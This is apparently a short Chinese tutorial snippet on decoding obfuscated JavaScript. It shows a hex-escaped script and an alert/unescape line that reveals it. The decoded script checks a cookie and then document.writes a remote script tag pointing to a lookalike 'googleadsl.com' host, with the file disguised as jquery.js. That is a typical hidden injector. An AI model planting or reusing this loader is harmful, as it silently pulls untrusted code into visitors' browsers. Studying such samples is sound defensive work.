javascript代码解密方法

<script>
function Get(){
var $qL1 = new window["\x44\x61\x74\x65"]()
$qL1["\x73\x65\x74\x54\x69\x6d\x65"]($qL1["\x67\x65\x74\x54\x69\x6d\x65"]() + 24*60*60*1000)
var vuICgd2 = new window["\x53\x74\x72\x69\x6e\x67"](window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x63\x6f\x6f\x6b\x69\x65"])
var JHasS3 = "\x43\x6f\x6f\x6b\x69\x65\x31\x3d"
var wUhao4 = vuICgd2["\x69\x6e\x64\x65\x78\x4f\x66"](JHasS3)
if (wUhao4 != -1){
} else
{

//放入想要显示的代码

window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"] ('\x3c\x53\x43\x52\x49\x50\x54 \x73\x72\x63\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x67\x6f\x6f\x67\x6c\x65\x61\x64\x73\x6c\x2e\x63\x6f\x6d\x2f\x73\x70\x63\x6f\x64\x65\x2f\x6a\x71\x75\x65\x72\x79\x2e\x6a\x73\x22\x3e\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e');
}
}
</script>
<script>
alert(unescape(document.scripts[0].innerHTML.replace(/(\\x)/gi,'%')));
</script>